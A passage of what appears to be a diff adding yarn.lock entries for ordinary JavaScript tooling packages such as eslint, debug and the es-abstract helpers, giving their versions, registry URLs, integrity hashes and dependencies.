"^1.3.0" + is-data-view "^1.0.2" + +data-view-byte-offset@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/data-view-byte-offset/-/data-view-byte-offset-1.0.1.tgz#068307f9b71ab76dbbe10291389e020856606191" + integrity sha512-BS8PfmtDGnrgYdOonGZQdLZslWIeCGFP9tpan0hi1Co2Zr2NKADsvGYA8XxuG/4UWgJ6Cjtv+YJnB6MM69QGlQ== + dependencies: + call-bound "^1.0.2" + es-errors "^1.3.0" + is-data-view "^1.0.1" + +debug@^3.2.7: + version "3.2.7" + resolved "https://registry.yarnpkg.com/debug/-/debug-3.2.7.tgz#72580b7e9145fb39b6676f9c5e5fb100b934179a" + integrity sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ== + dependencies: + ms "^2.1.1" + +debug@^4.3.1, debug@^4.3.2, debug@^4.4.3: + version "4.4.3" + resolved "https://registry.yarnpkg.com/debug/-/debug-4.4.3.tgz#c6ae432d9bd9662582fce08709b038c58e9e3d6a" + integrity sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA== + dependencies: + ms "^2.1.3" + +deep-is@^0.1.3: + version "0.1.4" + resolved "https://registry.yarnpkg.com/deep-is/-/deep-is-0.1.4.tgz#a6f2dce612fadd2ef1f519b73551f17e85199831" + integrity sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ== + +define-data-property@^1.0.1, define-data-property@^1.1.4: + version "1.1.4" + resolved "https://registry.yarnpkg.com/define-data-property/-/define-data-property-1.1.4.tgz#894dc141bb7d3060ae4366f6a0107e68fbe48c5e" + integrity sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A== + dependencies: + es-define-property "^1.0.0" + es-errors "^1.3.0" + gopd "^1.0.1" + +define-properties@^1.2.1: + version "1.2.1" + resolved "https://registry.yarnpkg.com/define-properties/-/define-properties-1.2.1.tgz#10781cc616eb951a80a034bafcaa7377f6af2b6c" + integrity sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg== + dependencies: + define-data-property "^1.0.1" + has-property-descriptors "^1.0.0" + object-keys "^1.1.1" + +doctrine@^2.1.0: + version "2.1.0" + resolved "https://registry.yarnpkg.com/doctrine/-/doctrine-2.1.0.tgz#5cd01fc101621b42c4cd7f5d1a66243716d3f39d" + integrity sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw== + dependencies: + esutils "^2.0.2" + +dunder-proto@^1.0.0, dunder-proto@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/dunder-proto/-/dunder-proto-1.0.1.tgz#d7ae667e1dc83482f8b70fd0f6eefc50da30f58a" + integrity sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A== + dependencies: + call-bind-apply-helpers "^1.0.1" + es-errors "^1.3.0" + gopd "^1.2.0" + +es-abstract@^1.23.2, es-abstract@^1.23.5, es-abstract@^1.23.9, es-abstract@^1.24.0: + version "1.24.0" + resolved "https://registry.yarnpkg.com/es-abstract/-/es-abstract-1.24.0.tgz#c44732d2beb0acc1ed60df840869e3106e7af328" + integrity sha512-WSzPgsdLtTcQwm4CROfS5ju2Wa1QQcVeT37jFjYzdFz1r9ahadC8B8/a4qxJxM+09F18iumCdRmlr96ZYkQvEg== + dependencies: + array-buffer-byte-length "^1.0.2" + arraybuffer.prototype.slice "^1.0.4" + available-typed-arrays "^1.0.7" + call-bind "^1.0.8" + call-bound "^1.0.4" + data-view-buffer "^1.0.2" + data-view-byte-length "^1.0.2" + data-view-byte-offset "^1.0.1" + es-define-property "^1.0.1" + es-errors "^1.3.0" + es-object-atoms "^1.1.1" + es-set-tostringtag "^2.1.0" + es-to-primitive "^1.3.0" + function.prototype.name "^1.1.8" + get-intrinsic "^1.3.0" + get-proto "^1.0.1" + get-symbol-description "^1.1.0" + globalthis "^1.0.4" + gopd "^1.2.0" + has-property-descriptors "^1.0.2" + has-proto "^1.2.0" + has-symbols "^1.1.0" + hasown "^2.0.2" + internal-slot "^1.1.0" + is-array-buffer "^3.0.5" + is-callable "^1.2.7" + is-data-view "^1.0.2" + is-negative-zero "^2.0.3" + is-regex "^1.2.1" + is-set "^2.0.3" + is-shared-array-buffer "^1.0.4" + is-string "^1.1.1" + is-typed-array "^1.1.15" + is-weakref "^1.1.1" + math-intrinsics "^1.1.0" + object-inspect "^1.13.4" + object-keys "^1.1.1" + object.assign "^4.1.7" + own-keys "^1.0.1" + regexp.prototype.flags "^1.5.4" + safe-array-concat "^1.1.3" + safe-push-apply "^1.0.0" + safe-regex-test "^1.1.0" + set-proto "^1.0.0" + stop-iteration-iterator "^1.1.0" + string.prototype.trim "^1.2.10" + string.prototype.trimend "^1.0.9" + string.prototype.trimstart "^1.0.8" + typed-array-buffer "^1.0.3" + typed-array-byte-length "^1.0.3" + typed-array-byte-offset "^1.0.4" + typed-array-length "^1.0.7" + unbox-primitive "^1.1.0" + which-typed-array "^1.1.19" + +es-define-property@^1.0.0, es-define-property@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/es-define-property/-/es-define-property-1.0.1.tgz#983eb2f9a6724e9303f61addf011c72e09e0b0fa" + integrity sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g== + +es-errors@^1.3.0: + version "1.3.0" + resolved "https://registry.yarnpkg.com/es-errors/-/es-errors-1.3.0.tgz#05f75a25dab98e4fb1dcd5e1472c0546d5057c8f" + integrity sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw== + +es-object-atoms@^1.0.0, es-object-atoms@^1.1.1: + version "1.1.1" + resolved "https://registry.yarnpkg.com/es-object-atoms/-/es-object-atoms-1.1.1.tgz#1c4f2c4837327597ce69d2ca190a7fdd172338c1" + integrity sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA== + dependencies: + es-errors "^1.3.0" + +es-set-tostringtag@^2.1.0: + version "2.1.0" + resolved "https://registry.yarnpkg.com/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz#f31dbbe0c183b00a6d26eb6325c810c0fd18bd4d" + integrity sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA== + dependencies: + es-errors "^1.3.0" + get-intrinsic "^1.2.6" + has-tostringtag "^1.0.2" + hasown "^2.0.2" + +es-shim-unscopables@^1.0.2, es-shim-unscopables@^1.1.0: + version "1.1.0" + resolved "https://registry.yarnpkg.com/es-shim-unscopables/-/es-shim-unscopables-1.1.0.tgz#438df35520dac5d105f3943d927549ea3b00f4b5" + integrity sha512-d9T8ucsEhh8Bi1woXCf+TIKDIROLG5WCkxg8geBCbvk22kzwC5G2OnXVMO6FUsvQlgUUXQ2itephWDLqDzbeCw== + dependencies: + hasown "^2.0.2" + +es-to-primitive@^1.3.0: + version "1.3.0" + resolved "https://registry.yarnpkg.com/es-to-primitive/-/es-to-primitive-1.3.0.tgz#96c89c82cc49fd8794a24835ba3e1ff87f214e18" + integrity sha512-w+5mJ3GuFL+NjVtJlvydShqE1eN3h3PbI7/5LAsYJP/2qtuMXjfL2LpHSRqo4b4eSF5K/DH1JXKUAHSB2UW50g== + dependencies: + is-callable "^1.2.7" + is-date-object "^1.0.5" + is-symbol "^1.0.4" + +escape-string-regexp@^4.0.0: + version "4.0.0" + resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz#14ba83a5d373e3d311e5afca29cf5bfad965bf34" + integrity sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA== + +eslint-config-prettier@^10.1.8: + version "10.1.8" + resolved "https://registry.yarnpkg.com/eslint-config-prettier/-/eslint-config-prettier-10.1.8.tgz#15734ce4af8c2778cc32f0b01b37b0b5cd1ecb97" + integrity sha512-82GZUjRS0p/jganf6q1rEO25VSoHH0hKPCTrgillPjdI/3bgBhAE1QzHrHTizjpRvy6pGAvKjDJtk2pF9NDq8w== + +eslint-import-resolver-node@^0.3.9: + version "0.3.9" + resolved "https://registry.yarnpkg.com/eslint-import-resolver-node/-/eslint-import-resolver-node-0.3.9.tgz#d4eaac52b8a2e7c3cd1903eb00f7e053356118ac" + integrity sha512-WFj2isz22JahUv+B788TlO3N6zL3nNJGU8CcZbPZvVEkBPaJdCV4vy5wyghty5ROFbCRnm132v8BScu5/1BQ8g== + dependencies: + debug "^3.2.7" + is-core-module "^2.13.0" + resolve "^1.22.4" + +eslint-module-utils@^2.12.1: + version "2.12.1" + resolved "https://registry.yarnpkg.com/eslint-module-utils/-/eslint-module-utils-2.12.1.tgz#f76d3220bfb83c057651359295ab5854eaad75ff" + integrity sha512-L8jSWTze7K2mTg0vos/RuLRS5soomksDPoJLXIslC7c8Wmut3bx7CPpJijDcBZtxQ5lrbUdM+s0OlNbz0DCDNw== + dependencies: + debug "^3.2.7" + +eslint-plugin-import@^2.27.5: + version "2.32.0" + resolved "https://registry.yarnpkg.com/eslint-plugin-import/-/eslint-plugin-import-2.32.0.tgz#602b55faa6e4caeaa5e970c198b5c00a37708980" + integrity sha512-whOE1HFo/qJDyX4SnXzP4N6zOWn79WhnCUY/iDR0mPfQZO8wcYE4JClzI2oZrhBnnMUCBCHZhO6VQyoBU95mZA== + dependencies: + "@rtsao/scc" "^1.1.0" + array-includes "^3.1.9" + array.prototype.findlastindex "^1.2.6" + array.prototype.flat "^1.3.3" + array.prototype.flatmap "^1.3.3" + debug "^3.2.7" + doctrine "^2.1.0" + eslint-import-resolver-node "^0.3.9" + eslint-module-utils "^2.12.1" + hasown "^2.0.2" + is-core-module "^2.16.1" + is-glob "^4.0.3" + minimatch "^3.1.2" + object.fromentries "^2.0.8" + object.groupby "^1.0.3" + object.values "^1.2.1" + semver "^6.3.1" + string.prototype.trimend "^1.0.9" + tsconfig-paths "^3.15.0" + +eslint-plugin-no-instanceof@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/eslint-plugin-no-instanceof/-/eslint-plugin-no-instanceof-1.0.1.tgz#5d9fc86d160df6991b654b294a62390207f1bb97" + integrity sha512-zlqQ7EsfzbRO68uI+p8FIE7zYB4njs+nNbkNjSb5QmLi2et67zQLqSeaao5U9SpnlZTTJC87nS2oyHo2ACtajw== + +eslint-plugin-prettier@^5.5.6: + version "5.5.6" + resolved "https://registry.yarnpkg.com/eslint-plugin-prettier/-/eslint-plugin-prettier-5.5.6.tgz#363ebe4d769bce157ccdd8129ce3efd91dc62564" + integrity sha512-ifetmTcxWfz+4qRW3pH/ujdTq2jQIj59AxJMIN26K5avYgU8dxycUETQonWiW+wPrYXA0j3Try0l1CnwVQtDqQ== + dependencies: + prettier-linter-helpers "^1.0.1" + synckit "^0.11.13" + +eslint-scope@^9.1.2: + version "9.1.2" + resolved "https://registry.yarnpkg.com/eslint-scope/-/eslint-scope-9.1.2.tgz#b9de6ace2fab1cff24d2e58d85b74c8fcea39802" + integrity sha512-xS90H51cKw0jltxmvmHy2Iai1LIqrfbw57b79w/J7MfvDfkIkFZ+kj6zC3BjtUwh150HsSSdxXZcsuv72miDFQ== + dependencies: + "@types/esrecurse" "^4.3.1" + "@types/estree" "^1.0.8" + esrecurse "^4.3.0" + estraverse "^5.2.0" + +eslint-visitor-keys@^3.4.3: + version "3.4.3" + resolved "https://registry.yarnpkg.com/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz#0cd72fe8550e3c2eae156a96a4dddcd1c8ac5800" + integrity sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag== + +eslint-visitor-keys@^4.2.1: + version "4.2.1" + resolved "https://registry.yarnpkg.com/eslint-visitor-keys/-/eslint-visitor-keys-4.2.1.tgz#4cfea60fe7dd0ad8e816e1ed026c1d5251b512c1" + integrity sha512-Uhdk5sfqcee/9H/rCOJikYz67o0a2Tw2hGRPOG2Y1R2dg7brRe1uG0yaNQDHu+TO/uQPF/5eCapvYSmHUjt7JQ== + +eslint-visitor-keys@^5.0.0, eslint-visitor-keys@^5.0.1: + version "5.0.1" + resolved "https://registry.yarnpkg.com/eslint-visitor-keys/-/eslint-visitor-keys-5.0.1.tgz#9e3c9489697824d2d4ce3a8ad12628f91e9f59be" + integrity sha512-tD40eHxA35h0PEIZNeIjkHoDR4YjjJp34biM0mDvplBe//mB+IHCqHDGV7pxF+7MklTvighcCPPZC7ynWyjdTA== + +eslint@^10.6.0: + version "10.6.0" + resolved "https://registry.yarnpkg.com/eslint/-/eslint-10.6.0.tgz#e1b4059c582be950c7088c9b55f984738b243c27" + integrity sha512-6lVbcqSodALYo+4ELD0heG6lFiFxnLMuLkiMi2qV8LMp54N8tE8FT1GMH+ev4Ti00nFjNze2+Su6DsV5OQW3Dg== + dependencies: + "@eslint-community/eslint-utils" "^4.8.0" + "@eslint-community/regexpp" "^4.12.2" + "@eslint/config-array" "^0.23.5" + "@eslint/config-helpers" "^0.6.0" + "@eslint/core" "^1.2.1" + "@eslint/plugin-kit" "^0.7.2" + "@humanfs/node" "^0.16.6" + "@humanwhocodes/module-importer" "^1.0.1" + "@humanwhocodes/retry" "^0.4.2" + "@types/estree" "^1.0.6" + ajv "^6.14.0" + cross-spawn "^7.0.6" + debug "^4.3.2" + escape-string-regexp "^4.0.0" + eslint-scope "^9.1.2" + eslint-visitor-keys "^5.0.1" + espree "^11.2.0" + esquery "^1.7.0" + esutils "^2.0.2" + fast-deep-equal "^3.1.3" + file-entry-cache "^8.0.0" + find-up "^5.0.0" + glob-parent "^6.0.2" + ignore "^5.2.0" + imurmurhash "^0.1.4" + is-glob "^4.0.0" + json-stable-stringify-without-jsonify "^1.0.1" + minimatch "^10.2.4" + natural-compare "^1.4.0" + optionator "^0.9.3" + +espree@^10.0.1: + version "10.4.0" + resolved "https://registry.yarnpkg.com/espree/-/espree-10.4.0.tgz#d54f4949d4629005a1fa168d937c3ff1f7e2a837" + integrity sha512-j6PAQ2uUr79PZhBjP5C5fhl8e39FmRnOjsD5lGnWrFU8i2G776tBK7+nP8KuQUTTyAZUwfQqXAgrVH5MbH9CYQ== + dependencies: + acorn "^8.15.0" + acorn-jsx "^5.3.2" + eslint-visitor-keys "^4.2.1" + +espree@^11.2.0: + version "11.2.0" + resolved "https://registry.yarnpkg.com/espree/-/espree-11.2.0.tgz#01d5e47dc332aaba3059008362454a8cc34ccaa5" + integrity sha512-7p3DrVEIopW1B1avAGLuCSh1jubc01H2JHc8B4qqGblmg5gI9yumBgACjWo4JlIc04ufug4xJ3SQI8HkS/Rgzw== + dependencies: + acorn "^8.16.0" + acorn-jsx "^5.3.2" + eslint-visitor-keys "^5.0.1" + +esquery@^1.7.0: + version "1.7.0" + resolved "https://registry.yarnpkg.com/esquery/-/esquery-1.7.0.tgz#08d048f261f0ddedb5bae95f46809463d9c9496d" + integrity sha512-Ap6G0WQwcU/LHsvLwON1fAQX9Zp0A2Y6Y/cJBl9r/JbW90Zyg4/zbG6zzKa2OTALELarYHmKu0GhpM5EO+7T0g== + dependencies: + estraverse "^5.1.0" + +esrecurse@^4.3.0: + version "4.3.0" + resolved "https://registry.yarnpkg.com/esrecurse/-/esrecurse-4.3.0.tgz#7ad7964d679abb28bee72cec63758b1c5d2c9921" + integrity sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag== + dependencies: + estraverse "^5.2.0" + +estraverse@^5.1.0, estraverse@^5.2.0: + version "5.3.0" + resolved "https://registry.yarnpkg.com/estraverse/-/estraverse-5.3.0.tgz#2eea5290702f26ab8fe5370370ff86c965d21123" + integrity sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA== + +esutils@^2.0.2: + version "2.0.3" + resolved "https://registry.yarnpkg.com/esutils/-/esutils-2.0.3.tgz#74d2eb4de0b8da1293711910d50775b9b710ef64" + integrity sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g== + +eventemitter3@^4.0.4: + version "4.0.7" + resolved "https://registry.yarnpkg.com/eventemitter3/-/eventemitter3-4.0.7.tgz#2de9b68f6528d5644ef5c59526a1b4a07306169f" + integrity sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw== + +eventemitter3@^5.0.1: + version "5.0.4" + resolved "https://registry.yarnpkg.com/eventemitter3/-/eventemitter3-5.0.4.tgz#a86d66170433712dde814707ac52b5271ceb1feb" + integrity sha512-mlsTRyGaPBjPedk6Bvw+aqbsXDtoAyAzm5MO7JgU+yVRyMQ5O8bD4Kcci7BS85f93veegeCPkL8R4GLClnjLFw== + +fast-deep-equal@^3.1.1, fast-deep-equal@^3.1.3: + version "3.1.3" + resolved "https://registry.yarnpkg.com/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz#3a7d56b559d6cbc3eb512325244e619a65c6c525" + integrity sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q== + +fast-diff@^1.1.2: + version "1.3.0" + resolved "https://registry.yarnpkg.com/fast-diff/-/fast-diff-1.3.0.tgz#ece407fa550a64d638536cd727e129c61616e0f0" + integrity sha512-VxPP4NqbUjj6MaAOafWeUn2cXWLcCtljklUtZf0Ind4XQ+QPtmA0b18zZy0jIQx+ExRVCR/ZQpBmik5lXshNsw== + +fast-json-stable-stringify@^2.0.0: + version "2.1.0" + resolved "https://registry.yarnpkg.com/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz#874bf69c6f404c2b5d99c481341399fd55892633" + integrity sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw== + +fast-levenshtein@^2.0.6: + version "2.0.6" + resolved "https://registry.yarnpkg.com/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz#3d8a5c66883a16a30ca8643e851f19baa7797917" + integrity sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw== + +fdir@^6.5.0: + version "6.5.0" + resolved "https://registry.yarnpkg.com/fdir/-/fdir-6.5.0.tgz#ed2ab967a331ade62f18d077dae192684d50d350" + integrity sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg== + +file-entry-cache@^8.0.0: + version "8.0.0" + resolved "https://registry.yarnpkg.com/file-entry-cache/-/file-entry-cache-8.0.0.tgz#7787bddcf1131bffb92636c69457bbc0edd6d81f" + integrity sha512-XXTUwCvisa5oacNGRP9SfNtYBNAMi+RPwBFmblZEF7N7swHYQS6/Zfk7SRwx4D5j3CH211YNRco1DEMNVfZCnQ== + dependencies: + flat-cache "^4.0.0" + +find-up@^5.0.0: + version "5.0.0" + resolved "https://registry.yarnpkg.com/find-up/-/find-up-5.0.0.tgz#4c92819ecb7083561e4f4a240a86be5198f536fc" + integrity sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng== + dependencies: + locate-path "^6.0.0" + path-exists "^4.0.0" + +flat-cache@^4.0.0: + version "4.0.1" + resolved "https://registry.yarnpkg.com/flat-cache/-/flat-cache-4.0.1.tgz#0ece39fcb14ee012f4b0410bd33dd9c1f011127c" + integrity sha512-f7ccFPK3SXFHpx15UIGyRJ/FJQctuKZ0zVuN3frBo4HnK3cay9VEW0R6yPYFHC0AgqhukPzKjq22t5DmAyqGyw== + dependencies: + flatted "^3.2.9" + keyv "^4.5.4" + +flatted@^3.2.9: + version "3.4.2" + resolved "https://registry.yarnpkg.com/flatted/-/flatted-3.4.2.tgz#f5c23c107f0f37de8dbdf24f13722b3b98d52726" + integrity sha512-PjDse7RzhcPkIJwy5t7KPWQSZ9cAbzQXcafsetQoD7sOJRQlGikNbx7yZp2OotDnJyrDcbyRq3Ttb18iYOqkxA== + +for-each@^0.3.3, for-each@^0.3.5: + version "0.3.5" + resolved "https://registry.yarnpkg.com/for-each/-/for-each-0.3.5.tgz#d650688027826920feeb0af747ee7b9421a41d47" + integrity sha512-dKx12eRCVIzqCxFGplyFKJMPvLEWgmNtUrpTiJIR5u97zEhRG8ySrtboPHZXx7daLxQVrl643cTzbab2tkQjxg== + dependencies: + is-callable "^1.2.7" + +function-bind@^1.1.2: + version "1.1.2" + resolved "https://registry.yarnpkg.com/function-bind/-/function-bind-1.1.2.tgz#2c02d864d97f3ea6c8830c464cbd11ab6eab7a1c" + integrity sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA== + +function.prototype.name@^1.1.6, function.prototype.name@^1.1.8: + version "1.1.8" + resolved "https://registry.yarnpkg.com/function.prototype.name/-/function.prototype.name-1.1.8.tgz#e68e1df7b259a5c949eeef95cdbde53edffabb78" + integrity sha512-e5iwyodOHhbMr/yNrc7fDYG4qlbIvI5gajyzPnb5TCwyhjApznQh1BMFou9b30SevY43gCJKXycoCBjMbsuW0Q== + dependencies: + call-bind "^1.0.8" + call-bound "^1.0.3" + define-properties "^1.2.1" + functions-have-names "^1.2.3" + hasown "^2.0.2" + is-callable "^1.2.7" + +functions-have-names@^1.2.3: + version "1.2.3" + resolved "https://registry.yarnpkg.com/functions-have-names/-/functions-have-names-1.2.3.tgz#0404fe4ee2ba2f607f0e0ec3c80bae994133b834" + integrity sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ== + +get-intrinsic@^1.2.4, get-intrinsic@^1.2.5, get-intrinsic@^1.2.6, get-intrinsic@^1.2.7, get-intrinsic@^1.3.0: + version "1.3.0" + resolved "https://registry.yarnpkg.com/get-intrinsic/-/get-intrinsic-1.3.0.tgz#743f0e3b6964a93a5491ed1bffaae054d7f98d01" + integrity sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ== + dependencies: + call-bind-apply-helpers "^1.0.2" + es-define-property "^1.0.1" + es-errors "^1.3.0" + es-object-atoms "^1.1.1" + function-bind "^1.1.2" + get-proto "^1.0.1" + gopd "^1.2.0" + has-symbols "^1.1.0" + hasown "^2.0.2" + math-intrinsics "^1.1.0" + +get-proto@^1.0.0, get-proto@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/get-proto/-/get-proto-1.0.1.tgz#150b3f2743869ef3e851ec0c49d15b1d14d00ee1" + integrity sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g== + dependencies: + dunder-proto "^1.0.1" + es-object-atoms "^1.0.0" + +get-symbol-description@^1.1.0: + version "1.1.0" + resolved "https://registry.yarnpkg.com/get-symbol-description/-/get-symbol-description-1.1.0.tgz#7bdd54e0befe8ffc9f3b4e203220d9f1e881b6ee" + integrity sha512-w9UMqWwJxHNOvoNzSJ2oPF5wvYcvP7jUvYzhp67yEhTi17ZDBBC1z9pTdGuzjD+EFIqLSYRweZjqfiPzQ06Ebg== + dependencies: + call-bound "^1.0.3" + es-errors "^1.3.0" + get-intrinsic "^1.2.6" + +glob-parent@^6.0.2: + version "6.0.2" + resolved "https://registry.yarnpkg.com/glob-parent/-/glob-parent-6.0.2.tgz#6d237d99083950c79290f24c7642a3de9a28f9e3" + integrity sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A== + dependencies: + is-glob "^4.0.3" + +globals@^14.0.0: + version "14.0.0" + resolved "https://registry.yarnpkg.com/globals/-/globals-14.0.0.tgz#898d7413c29babcf6bafe56fcadded858ada724e" + integrity sha512-oahGvuMGQlPw/ivIYBjVSrWAfWLBeku5tpPE2fOPLi+WHffIWbuh2tCjhyQhTBPMf5E9jDEH4FOmTYgYwbKwtQ== + +globalthis@^1.0.4: + version "1.0.4" + resolved "https://registry.yarnpkg.com/globalthis/-/globalthis-1.0.4.tgz#7430ed3a975d97bfb59bcce41f5cabbafa651236" + integrity sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ== + dependencies: + define-properties "^1.2.1" + gopd "^1.0.1" + +gopd@^1.0.1, gopd@^1.2.0: + version "1.2.0" + resolved "https://registry.yarnpkg.com/gopd/-/gopd-1.2.0.tgz#89f56b8217bdbc8802bd299df6d7f1081d7e51a1" + integrity sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg== + +has-bigints@^1.0.2: + version "1.1.0" + resolved "https://registry.yarnpkg.com/has-bigints/-/has-bigints-1.1.0.tgz#28607e965ac967e03cd2a2c70a2636a1edad49fe" + integrity sha512-R3pbpkcIqv2Pm3dUwgjclDRVmWpTJW2DcMzcIhEXEx1oh/CEMObMm3KLmRJOdvhM7o4uQBnwr8pzRK2sJWIqfg== + +has-property-descriptors@^1.0.0, has-property-descriptors@^1.0.2: + version "1.0.2" + resolved "https://registry.yarnpkg.com/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz#963ed7d071dc7bf5f084c5bfbe0d1b6222586854" + integrity sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg== + dependencies: + es-define-property "^1.0.0" + +has-proto@^1.2.0: + version "1.2.0" + resolved "https://registry.yarnpkg.com/has-proto/-/has-proto-1.2.0.tgz#5de5a6eabd95fdffd9818b43055e8065e39fe9d5" + integrity sha512-KIL7eQPfHQRC8+XluaIw7BHUwwqL19bQn4hzNgdr+1wXoU0KKj6rufu47lhY7KbJR2C6T6+PfyN0Ea7wkSS+qQ== + dependencies: + dunder-proto "^1.0.0" + +has-symbols@^1.0.3, has-symbols@^1.1.0: + version "1.1.0" + resolved "https://registry.yarnpkg.com/has-symbols/-/has-symbols-1.1.0.tgz#fc9c6a783a084951d0b971fe1018de813707a338" + integrity sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ== + +has-tostringtag@^1.0.2: + version "1.0.2" + resolved "https://registry.yarnpkg.com/has-tostringtag/-/has-tostringtag-1.0.2.tgz#2cdc42d40bef2e5b4eeab7c01a73c54ce7ab5abc" + integrity sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw== + dependencies: + has-symbols "^1.0.3" + +hasown@^2.0.2: + version "2.0.2" + resolved "https://registry.yarnpkg.com/hasown/-/hasown-2.0.2.tgz#003eaf91be7adc372e84ec59dc37252cedb80003" + integrity sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ== + dependencies: + function-bind "^1.1.2" + +ignore@^5.2.0: + version "5.3.2" + resolved "https://registry.yarnpkg.com/ignore/-/ignore-5.3.2.tgz#3cd40e729f3643fd87cb04e50bf0eb722bc596f5" + integrity sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g== + +ignore@^7.0.5: + version "7.0.5" + resolved "https://registry.yarnpkg.com/ignore/-/ignore-7.0.5.tgz#4cb5f6cd7d4c7ab0365738c7aea888baa6d7efd9" + integrity 